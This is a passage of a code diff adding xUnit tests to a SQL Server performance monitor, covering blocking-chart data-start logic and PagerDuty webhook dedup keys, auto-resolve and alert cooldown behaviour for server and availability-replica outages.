@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// What the Overview's blocking chart names as its data start (#4966): the later of its two series' starts, each the earlier of the
+/// series' coverage floor and its earliest bar drawn. Pure logic, no store and no WPF object.
+/// </summary>
+public sealed class OverviewBlockingLaneDataStartTests
+{
+    private static readonly DateTime Day = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static Task<DateTime?> Answer(DateTime? start) => Task.FromResult(start);
+
+    private static readonly TrendPoint[] NoBars = [];
+
+    private static TrendPoint Bar(DateTime at, int count = 1) => new() { Time = at, Count = count };
+
+    [Fact]
+    public async Task TwoStarts_NameTheLaterOne_WhicheverSeriesHasIt()
+    {
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.ChooseAsync(Answer(Day.AddDays(2)), Answer(Day), NoBars, NoBars));
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.ChooseAsync(Answer(Day), Answer(Day.AddDays(2)), NoBars, NoBars));
+    }
+
+    [Fact]
+    public async Task OneSeriesOnly_IsNamed_AndNeitherNamesNothing()
+    {
+        Assert.Equal(Day.AddDays(1), await LiteBlockingLaneDataStart.ChooseAsync(Answer(Day.AddDays(1)), Answer(null), NoBars, NoBars));
+        Assert.Equal(Day.AddDays(1), await LiteBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(Day.AddDays(1)), NoBars, NoBars));
+        Assert.Null(await LiteBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(null), NoBars, NoBars));
+    }
+
+    [Fact]
+    public async Task ABarBeforeTheFloor_MovesThatSeriesStartBack_AndNoFloorLetsTheBarName()
+    {
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.ChooseAsync(
+            Answer(Day.AddDays(2)), Answer(Day.AddDays(3)), NoBars, [Bar(Day.AddDays(1)), Bar(Day.AddDays(4))]));
+        Assert.Equal(Day.AddDays(1), await LiteBlockingLaneDataStart.ChooseAsync(
+            Answer(null), Answer(Day.AddDays(3)), [Bar(Day.AddDays(1))], [Bar(Day.AddDays(1))]));
+        Assert.Equal(Day.AddHours(5), await LiteBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(null), [Bar(Day.AddHours(5)), Bar(Day.AddHours(9))], NoBars));
+    }
+
+    [Fact]
+    public async Task AZeroBucket_IsNotABar()
+    {
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.ChooseAsync(
+            Answer(Day.AddDays(2)), Answer(Day.AddDays(2)), [Bar(Day, 0), Bar(Day.AddDays(1), 0)], NoBars));
+        Assert.Null(await LiteBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(null), [Bar(Day, 0)], [Bar(Day, 0)]));
+        Assert.Equal(Day.AddHours(7), LiteBlockingLaneDataStart.SeriesStart(null, [Bar(Day, 0), Bar(Day.AddHours(7)), Bar(Day.AddHours(9))]));
+    }
+
+    [Fact]
+    public async Task AProbeThatThrows_DropsItsSeries_AndNeverThrowsOut()
+    {
+        var failed = Task.FromException<DateTime?>(new InvalidOperationException("the store went away"));
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.ChooseAsync(failed, Answer(Day.AddDays(2)), NoBars, NoBars));
+        Assert.Null(await LiteBlockingLaneDataStart.ChooseAsync(failed, Task.FromException<DateTime?>(new TimeoutException()), [Bar(Day)], [Bar(Day)]));
+        Assert.Null(await LiteBlockingLaneDataStart.ChooseAsync(failed, Task.FromException<DateTime?>(new TimeoutException()), NoBars, NoBars));
+    }
+
+    /// <summary>A failed blocking probe gives no start even with a late bar; the deadlock series answers alone, so its start (the window start) is named.</summary>
+    [Fact]
+    public async Task AFailedProbe_WithALateBar_DoesNotRaiseTheNote()
+    {
+        var failed = Task.FromException<DateTime?>(new InvalidOperationException("the store went away"));
+        var result = await LiteBlockingLaneDataStart.ChooseAsync(failed, Answer(Day), [Bar(Day.AddDays(5))], NoBars);
+        Assert.Equal(Day, result);
+    }
+
+    /// <summary>The probing half of the step: both relations are asked over the window given, and the later floor wins.</summary>
+    [Fact]
+    public async Task StartAsync_AsksBothRelations_AndNamesTheLaterFloor()
+    {
+        var asked = new List<QueryWindowRelation>();
+        var start = await LiteBlockingLaneDataStart.StartAsync(
+            relation => { asked.Add(relation); return Task.FromResult<DateTime?>(relation == QueryWindowRelation.Deadlocks ? Day.AddDays(3) : Day.AddDays(1)); },
+            Day, Day.AddDays(7), NoBars, NoBars);
+
+        Assert.Equal(Day.AddDays(3), start);
+        Assert.Contains(QueryWindowRelation.BlockedProcessReports, asked);
+        Assert.Contains(QueryWindowRelation.Deadlocks, asked);
+    }
+
+    /// <summary>A window of 90 minutes or less calls neither probe.</summary>
+    [Fact]
+    public async Task StartAsync_ShortWindow_CallsNeitherProbe()
+    {
+        var calls = 0;
+        Assert.Null(await LiteBlockingLaneDataStart.StartAsync(_ => { calls++; return Task.FromResult<DateTime?>(Day); }, Day, Day.AddMinutes(90), [Bar(Day)], [Bar(Day)]));
+        Assert.Equal(0, calls);
+    }
+
+    /// <summary>A window of 90 minutes or less starts no probe, and a probe that throws drops only its series.</summary>
+    [Fact]
+    public async Task StartAsync_ShortWindowStartsNoProbe_AndAThrowingProbeDropsOneSeries()
+    {
+        var probes = 0;
+        Assert.Null(await LiteBlockingLaneDataStart.StartAsync(_ => { probes++; return Task.FromResult<DateTime?>(Day); }, Day, Day.AddMinutes(90), NoBars, NoBars));
+        Assert.Equal(0, probes);
+
+        Assert.Equal(Day.AddDays(2), await LiteBlockingLaneDataStart.StartAsync(
+            relation => relation == QueryWindowRelation.Deadlocks ? Task.FromResult<DateTime?>(Day.AddDays(2)) : throw new InvalidOperationException("probe failed"),
+            Day, Day.AddDays(7), NoBars, NoBars));
+    }
+}
diff --git a/Lite.Tests/OverviewLanesUtcFrameTests.cs b/Lite.Tests/OverviewLanesUtcFrameTests.cs
index 4f65bdd3b1..74da8a2920 100644
--- a/Lite.Tests/OverviewLanesUtcFrameTests.cs
+++ b/Lite.Tests/OverviewLanesUtcFrameTests.cs
@@ -85,7 +85,9 @@ public void EveryLaneX_IsTheSamplesOwnInstant_AndEveryGhostSeriesGoesThroughGhos
         Assert.Contains("(d.CollectionTime.ToOADate(), d.WaitTimeMsPerSecond)", refresh, StringComparison.Ordinal);
         Assert.Equal(2, Regex.Matches(refresh, Regex.Escape("(d.Time.ToOADate(), (double)d.Count)")).Count);
         Assert.Contains("(d.CollectionTime.ToOADate(), d.BufferPoolMb)", refresh, StringComparison.Ordinal);
-        Assert.Contains("(g.Key.ToOADate(), g.Average(x => x.AvgReadLatencyMs))", refresh, StringComparison.Ordinal);
+        // The I/O lane plots the group's own instant (g.Key); the read-weighted latency (IoLatencyWeighting) only
+        // changes the Y value, so the X guarantee is unchanged.
+        Assert.Contains("(g.Key.ToOADate(), IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads))))", refresh, StringComparison.Ordinal);
 
         Assert.Contains("var zone = serverClock.AsTimeZone();", refresh, StringComparison.Ordinal);
         Assert.Equal(5, Regex.Matches(refresh, Regex.Escape("TimeWindows.GhostX(")).Count);
diff --git a/Lite.Tests/OverviewNewestReadsHotFirstTests.cs b/Lite.Tests/OverviewNewestReadsHotFirstTests.cs
index 3e2ed8a52f..ad83f922fb 100644
--- a/Lite.Tests/OverviewNewestReadsHotFirstTests.cs
+++ b/Lite.Tests/OverviewNewestReadsHotFirstTests.cs
@@ -70,8 +70,8 @@ public void Dispose()
     public async Task ANewestHotRow_IsReadWithoutOpeningTheArchive_AndAnArchiveOnlyServer_StillReadsItsNewestArchivedRow()
     {
         var ct = TestContext.Current.CancellationToken;
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var hotNewest = new DateTime(2026, 9, 22, 21, 0, 0);
         var archivedNewest = new DateTime(2026, 8, 31, 23, 0, 0);
diff --git a/Lite.Tests/PagerDutyWebhookTests.cs b/Lite.Tests/PagerDutyWebhookTests.cs
index baa64dc1e7..7abdf13988 100644
--- a/Lite.Tests/PagerDutyWebhookTests.cs
+++ b/Lite.Tests/PagerDutyWebhookTests.cs
@@ -4,6 +4,7 @@
 using System.Linq;
 using System.Text.RegularExpressions;
 using System.Text.Json;
+using System.Threading.Tasks;
 using PerformanceMonitor.Notifications;
 using PerformanceMonitorLite.Services;
 using Xunit;
@@ -136,6 +137,726 @@ public void BuildPagerDutyPayload_DedupKey_IsDeterministic()
         Assert.Equal(root1.GetProperty("dedup_key").GetString(), root2.GetProperty("dedup_key").GetString());
     }
 
+    /* ---------------- Edge-pair dedup is gated on the opt-in ---------------- */
+
+    [Fact]
+    public void BuildPagerDutyPayload_EdgePair_DefaultOff_KeepsShippedStateNamedKeys()
+    {
+        /* The review's paired-lifecycle merge risk, stated as a pin: with the default off, the two halves
+           of a pair keep their own state-named keys — byte-identical to the shipped behavior — so a
+           manually-resolved outage and a later restore never share a key. Correlation is an opt-in behaviour
+           change, scoped entirely to the operator who switched it on. */
+        var unreachable = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Unreachable", "SRV1", "Login timeout expired", "Online",
+            Branding, "key", serverId: "261742202");
+        var restored = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Restored", "SRV1", "Online", "Online",
+            Branding, "key", serverId: "261742202");
+
+        Assert.Equal("261742202:Server Unreachable",
+            JsonDocument.Parse(unreachable).RootElement.GetProperty("dedup_key").GetString());
+        Assert.Equal("261742202:Server Restored",
+            JsonDocument.Parse(restored).RootElement.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_ConnectionEdges_WithOptIn_ShareOneDedupKey_NamedByTheFiring()
+    {
+        /* With the opt-in on, "Server Unreachable" and "Server Restored" are one incident: keying on the
+           metric name minted a distinct dedup_key per edge, so PagerDuty showed two incidents for one
+           outage, and a closing edge could never resolve the open one. Both edges rename to the pair's
+           canonical FIRING name. */
+        var unreachable = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Unreachable", "SRV1", "Login timeout expired", "Online",
+            Branding, "key", serverId: "261742202", autoResolve: true);
+        var restored = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Restored", "SRV1", "Online", "Online",
+            Branding, "key", serverId: "261742202", autoResolve: true);
+
+        var unreachableKey = JsonDocument.Parse(unreachable).RootElement.GetProperty("dedup_key").GetString();
+        var restoredKey = JsonDocument.Parse(restored).RootElement.GetProperty("dedup_key").GetString();
+
+        Assert.Equal("261742202:Server Unreachable", unreachableKey);
+        Assert.Equal(unreachableKey, restoredKey);
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_ReplicationEdges_WithOptIn_ShareOneDedupKey_ScopedPerReplica()
+    {
+        /* The same per-incident identity for the AG pair — AND per replica: without the replica scope
+           there is still one key per server for the whole group, so one replica's reconnect would resolve
+           the incident a still-disconnected sibling holds open. Each edge's own context carries the twin
+           "AG:replica" identity its fire site set, and both sides of the same replica converge on it. */
+        var first = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+        var second = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+        var other = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-B");
+
+        var disconnected = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Disconnected", "SRV1", "DISCONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", context: first, autoResolve: true);
+        var reconnected = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Reconnected", "SRV1", "CONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", context: second, autoResolve: true);
+        var sibling = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Disconnected", "SRV1", "DISCONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", context: other, autoResolve: true);
+
+        var disconnectedKey = JsonDocument.Parse(disconnected).RootElement.GetProperty("dedup_key").GetString();
+        var reconnectedKey = JsonDocument.Parse(reconnected).RootElement.GetProperty("dedup_key").GetString();
+        var siblingKey = JsonDocument.Parse(sibling).RootElement.GetProperty("dedup_key").GetString();
+
+        Assert.Equal("261742202:AG Replica Disconnected:OrdersAG:REPLICA-A", disconnectedKey);
+        Assert.Equal(disconnectedKey, reconnectedKey);
+        Assert.NotEqual(disconnectedKey, siblingKey);
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_ReplicationEdge_WithoutIdentity_KeepsPerServerKey()
+    {
+        /* The per-replica key is the better incident, not a contract: a pair that arrives without the
+           identity (a build that predates the new fire sites, a test that never set one) keeps the old
+           per-server key rather than failing the render. */
+        var reconnected = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Reconnected", "SRV1", "CONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", autoResolve: true);
+
+        Assert.Equal("261742202:AG Replica Disconnected",
+            JsonDocument.Parse(reconnected).RootElement.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_NonEdgeMetric_StillKeysOnTheMetricName()
+    {
+        var payload = WebhookAlertService.BuildPagerDutyPayload(
+            "High CPU", "SRV1", "95%", "90%", Branding, "key", serverId: "261742202");
+
+        var root = JsonDocument.Parse(payload).RootElement;
+
+        Assert.Equal("trigger", root.GetProperty("event_action").GetString());
+        Assert.Equal("261742202:High CPU", root.GetProperty("dedup_key").GetString());
+    }
+
+    /* ---------------- The auto-resolve opt-in ---------------- */
+
+    [Fact]
+    public void BuildPagerDutyPayload_EdgeClosingEdge_DefaultsToInfoLevelTrigger_LeavingTheIncidentOpen()
+    {
+        var payload = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Restored", "SRV1", "Online", "Online",
+            Branding, "key", serverId: "261742202");
+
+        var root = JsonDocument.Parse(payload).RootElement;
+
+        Assert.Equal("trigger", root.GetProperty("event_action").GetString());
+        Assert.Equal("info", root.GetProperty("payload").GetProperty("severity").GetString());
+        /* ...and keeps the shipped state-named key: correlation is opt-in, not smuggled in the default. */
+        Assert.Equal("261742202:Server Restored", root.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_AutoResolve_SendsTheResolveEvent_OnTheFiringEdgeDedupKey()
+    {
+        var payload = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Restored", "SRV1", "Online", "Online",
+            Branding, "key", serverId: "261742202", autoResolve: true);
+
+        var root = JsonDocument.Parse(payload).RootElement;
+
+        Assert.Equal("resolve", root.GetProperty("event_action").GetString());
+        Assert.Equal("261742202:Server Unreachable", root.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_AutoResolve_ReplicaReconnect_AlsoResolves_TheFiringEdgeNeverDoes()
+    {
+        var edge = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Disconnected", "SRV1", "DISCONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", context: AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A"), autoResolve: true);
+        var closing = WebhookAlertService.BuildPagerDutyPayload(
+            "AG Replica Reconnected", "SRV1", "CONNECTED", "CONNECTED",
+            Branding, "key", serverId: "261742202", context: AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A"), autoResolve: true);
+
+        Assert.Equal("trigger", JsonDocument.Parse(edge).RootElement.GetProperty("event_action").GetString());
+        Assert.Equal("resolve", JsonDocument.Parse(closing).RootElement.GetProperty("event_action").GetString());
+        /* ...on the same per-replica key: closing only ITS incident, not the sibling's. */
+        Assert.Equal(
+            "261742202:AG Replica Disconnected:OrdersAG:REPLICA-A",
+            JsonDocument.Parse(edge).RootElement.GetProperty("dedup_key").GetString());
+        Assert.Equal(
+            JsonDocument.Parse(edge).RootElement.GetProperty("dedup_key").GetString(),
+            JsonDocument.Parse(closing).RootElement.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_AutoResolve_OnAFiringMetric_OrAnyNonEdgeAlert_StillTriggers()
+    {
+        var unreachable = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Unreachable", "SRV1", "Login timeout expired", "Online",
+            Branding, "key", serverId: "261742202", autoResolve: true);
+        var cpu = WebhookAlertService.BuildPagerDutyPayload(
+            "High CPU", "SRV1", "95%", "90%", Branding, "key", serverId: "261742202", autoResolve: true);
+
+        Assert.Equal("trigger", JsonDocument.Parse(unreachable).RootElement.GetProperty("event_action").GetString());
+        Assert.Equal("trigger", JsonDocument.Parse(cpu).RootElement.GetProperty("event_action").GetString());
+    }
+
+    [Fact]
+    public void BuildPagerDutyPayload_TestMode_AlwaysTriggers_EvenWithAutoResolve()
+    {
+        var payload = WebhookAlertService.BuildPagerDutyPayload(
+            "Server Restored", "", "Webhook configuration verified", "",
+            Branding, "key", isTest: true, dedupKey: "test-" + Guid.NewGuid(), autoResolve: true);
+
+        Assert.Equal("trigger", JsonDocument.Parse(payload).RootElement.GetProperty("event_action").GetString());
+    }
+
+    /* ---------------- The send path with a flag-on/f flag-off settings seam ---------------- */
+
+    /// <summary>
+    /// The review's coverage gap, stated as a pin: the builder-level tests above still pass with the live
+    /// wiring removed — so this one goes THROUGH <see cref="WebhookAlertService.TrySendWebhookAlertsAsync"/>
+    /// and asserts the ACTION the wire actually saw, for both settings of the flag. The PagerDuty destination
+    /// carries the loopback endpoint (a fake routing key is enough: the content never reaches PagerDuty), so
+    /// no network calls the fixed production endpoint.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_PagerDutySend_RestoredEdge_ResolvesOnlyWhenTheSettingIsOn()
+    {
+        var restoring = new CapturingPagerDuty();
+        var resolving = new CapturingPagerDuty();
+
+        var off = new WebhookSettings
+        {
+            PagerDutyRoutingKey = "rk-test",
+            Capture = restoring,
+        };
+        var on = new WebhookSettings
+        {
+            PagerDutyRoutingKey = "rk-test",
+            PagerDutyAutoResolve = true,
+            Capture = resolving,
+        };
+
+        await SendSingleAlertAsync(ServiceFor(off, restoring), "Server Restored");
+        await SendSingleAlertAsync(ServiceFor(on, resolving), "Server Restored");
+
+        Assert.Equal("trigger", WireAction(Assert.Single(restoring.Bodies)));
+        Assert.Equal("resolve", WireAction(Assert.Single(resolving.Bodies)));
+
+        /* The resolve lands on the same per-replica incident identity the opt-in trigger opened: */
+        Assert.Equal(
+            WebhookAlertService.DerivePagerDutyDedupKey("261742202", "Server Unreachable", null, autoResolve: true),
+            WireDedupKey(Assert.Single(resolving.Bodies)));
+    }
+
+    [Fact]
+    public async Task SendPath_PagerDutySend_Reconnect_ClosesOnlyItsOwnReplicaIncident()
+    {
+        /* The review's A/B disconnect case: both replicas down (flag on), A reconnects. Asserting on the
+           wire bodies that the resolve carries A's replica-scoped incident — and that B's disconnect key is
+           a DIFFERENT incident, so B's outage outlives A's resolve. */
+        var endpoint = new CapturingPagerDuty();
+
+        var settings = new WebhookSettings
+        {
+            PagerDutyRoutingKey = "rk-test",
+            PagerDutyAutoResolve = true,
+            Capture = endpoint,
+        };
+
+        var service = ServiceFor(settings, endpoint);
+
+        await SendSingleAlertAsync(service, "AG Replica Disconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-B"));
+        await SendSingleAlertAsync(service, "AG Replica Reconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A"));
+
+        Assert.Equal(2, endpoint.Bodies.Count);
+        var downKey = WireDedupKey(endpoint.Bodies[0]);
+        var resolveRoot = JsonDocument.Parse(endpoint.Bodies[1]).RootElement;
+
+        Assert.Equal("resolve", resolveRoot.GetProperty("event_action").GetString());
+        Assert.Equal("261742202:AG Replica Disconnected:OrdersAG:REPLICA-A",
+            resolveRoot.GetProperty("dedup_key").GetString());
+        Assert.NotEqual(downKey, resolveRoot.GetProperty("dedup_key").GetString());
+    }
+
+    [Fact]
+    public async Task SendPath_WebhookCooldown_AutoResolveRecovery_RearmsItsFiring()
+    {
+        /* The review's down-back-down case: with the flag on, a delivered close clears the cooldown entry
+           its firing left behind, so the next "Server Unreachable" posts instead of meeting the old window.
+           Asserted on the wire bodies: unreachable, restored, unreachable again delivers THREE posts.
+           Wired here with a real seeding history store (both production paths pass one) that carries the
+           first outage's send row, so the third send has to beat the history seed through the clear — the
+           row behind the seed is PRE-clear, exactly the re-throttle the clear-fix was for; a running this
+           test now only for the store-less path had kept three posts passing while production re-seeded
+           and throttled. */
+        var endpoint = new CapturingPagerDuty();
+        var history = new FakeHistoryStore();
+
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+
+        var service = ServiceFor(settings, endpoint, history);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        /* The delivery's history row (the deliverer records every delivered post; the service does not):
+           the first outage's send time, in-window, answered for THAT metric until the end of the test. */
+        history.SentRow("Server Unreachable", "261742202", DateTime.UtcNow);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+        var second = await SendSingleAlertAsync(service, "Server Unreachable");
+
+        Assert.Equal(AlertChannelOutcome.Delivered, second);
+        Assert.Equal(3, endpoint.Bodies.Count);
+        Assert.Equal("trigger", WireAction(endpoint.Bodies[2]));
+
+        /* And the seed was a live participant, not a silent store: at least one of its reads went out
+           ANSWERED with the first outage's row (a fan-out that stopped consulting history would still
+           deliver three posts — only an answered read proves the third send was rated against the seed and
+           won through the clear). The row itself is untouched: the clear works on the cooldown, not on
+           history, so the restart class the seed deliberately accepts stays intact. */
+        Assert.True(history.SeedReads > 0);
+        Assert.True(history.AnsweredReads > 0);
+    }
+
+    /// <summary>
+    /// The flap: down, up, down, up, all inside <c>EmailCooldownMinutes</c>, with auto-resolve on. The first
+    /// recovery stamps its OWN key on its first send, and the delivered close clears only the FIRING key, so
+    /// the second recovery used to meet its own cooldown and never resolve the second incident. All four
+    /// posts must reach PagerDuty, the last a resolve on the second incident's key. Run both store-less and
+    /// with a history store that records each delivered send the way the production deliverers do.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task SendPath_AutoResolveOn_DownUpDownUpInsideTheCooldown_ResolvesTheSecondIncident(bool withHistory)
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = withHistory ? new FakeHistoryStore() : null;
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint, history);
+
+        foreach (var metric in new[] { "Server Unreachable", "Server Restored", "Server Unreachable", "Server Restored" })
+        {
+            Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, metric));
+            history?.SentRow(metric, "261742202", DateTime.UtcNow);
+        }
+
+        Assert.Equal(4, endpoint.Bodies.Count);
+        Assert.Equal(new[] { "trigger", "resolve", "trigger", "resolve" }, endpoint.Bodies.Select(WireAction).ToArray());
+        Assert.Equal(WireDedupKey(endpoint.Bodies[2]), WireDedupKey(endpoint.Bodies[3]));
+    }
+
+    /// <summary>The AG Replica pair, the same flap for ONE replica.</summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task SendPath_AutoResolveOn_ReplicaDisconnectReconnectTwiceInsideTheCooldown_ResolvesTheSecondIncident(bool withHistory)
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = withHistory ? new FakeHistoryStore() : null;
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint, history);
+
+        foreach (var metric in new[] { "AG Replica Disconnected", "AG Replica Reconnected", "AG Replica Disconnected", "AG Replica Reconnected" })
+        {
+            Assert.Equal(
+                AlertChannelOutcome.Delivered,
+                await SendSingleAlertAsync(service, metric, "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A")));
+            history?.SentRow(metric, "261742202", DateTime.UtcNow);
+        }
+
+        Assert.Equal(4, endpoint.Bodies.Count);
+        Assert.Equal(new[] { "trigger", "resolve", "trigger", "resolve" }, endpoint.Bodies.Select(WireAction).ToArray());
+        Assert.Equal("261742202:AG Replica Disconnected:OrdersAG:REPLICA-A", WireDedupKey(endpoint.Bodies[3]));
+    }
+
+    /// <summary>
+    /// The control: auto-resolve OFF keeps what shipped. The second outage and the second recovery both meet
+    /// their own cooldown entries (nothing is cleared with the flag off), so only the first down and the first
+    /// up post, the up as an info-level trigger on its own key. The re-arm is gated on the flag, so this
+    /// must not move.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOff_DownUpDownUpInsideTheCooldown_KeepsTheShippedThrottling()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = false, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+
+        Assert.Equal(2, endpoint.Bodies.Count);
+        Assert.All(endpoint.Bodies, body => Assert.Equal("trigger", WireAction(body)));
+    }
+
+    /// <summary>
+    /// #5469 part 2: TWO replicas of ONE availability group on one server, all four edges inside
+    /// <c>EmailCooldownMinutes</c>, auto-resolve on: A down, B down, A up, B up. Each replica is its own
+    /// PagerDuty incident (the dedup key carries the replica), so each must post and each resolve must reach
+    /// PagerDuty on ITS replica's key. With a cooldown key per server + metric, A's recovery stamp throttled
+    /// B's resolve and B's incident stayed open.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task SendPath_AutoResolveOn_TwoReplicasDownThenUpInsideTheCooldown_ResolvesBothIncidents(bool withHistory)
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = withHistory ? new FakeHistoryStore() : null;
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint, history);
+
+        var steps = new[]
+        {
+            ("AG Replica Disconnected", "REPLICA-A"),
+            ("AG Replica Disconnected", "REPLICA-B"),
+            ("AG Replica Reconnected", "REPLICA-A"),
+            ("AG Replica Reconnected", "REPLICA-B"),
+        };
+
+        foreach (var (metric, replica) in steps)
+        {
+            Assert.Equal(
+                AlertChannelOutcome.Delivered,
+                await SendSingleAlertAsync(service, metric, "261742202", AgAlertContexts.ForReplica("OrdersAG", replica)));
+            history?.SentRow(metric, "261742202", DateTime.UtcNow);
+        }
+
+        Assert.Equal(4, endpoint.Bodies.Count);
+        Assert.Equal(new[] { "trigger", "trigger", "resolve", "resolve" }, endpoint.Bodies.Select(WireAction).ToArray());
+        Assert.Equal("261742202:AG Replica Disconnected:OrdersAG:REPLICA-A", WireDedupKey(endpoint.Bodies[2]));
+        Assert.Equal("261742202:AG Replica Disconnected:OrdersAG:REPLICA-B", WireDedupKey(endpoint.Bodies[3]));
+    }
+
+    /// <summary>
+    /// The control: the same two-replica sequence with auto-resolve OFF keeps what shipped. The cooldown
+    /// key stays per server + metric and the dedup keys stay per state, so the second down and the second
+    /// up meet the first one's stamp and only the first down and the first up post.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOff_TwoReplicasDownThenUpInsideTheCooldown_KeepsTheShippedThrottling()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = false, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "AG Replica Disconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A")));
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "AG Replica Disconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-B")));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "AG Replica Reconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A")));
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "AG Replica Reconnected", "261742202", AgAlertContexts.ForReplica("OrdersAG", "REPLICA-B")));
+
+        Assert.Equal(2, endpoint.Bodies.Count);
+        Assert.All(endpoint.Bodies, body => Assert.Equal("trigger", WireAction(body)));
+    }
+
+    /// <summary>
+    /// The restart half of the flap (#5469): down, up, down, then the app restarts (a fresh service and cooldown
+    /// over the same alert history), then up. The restart loses the in-memory clear, so the recovery's key
+    /// re-seeds from the first recovery's history row, which is OLDER than the second firing's row. The seed
+    /// must see that the firing sent after it and not throttle the second incident's resolve.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOn_RestartBetweenTheSecondDownAndTheUp_ResolvesTheSecondIncident()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = new FakeHistoryStore();
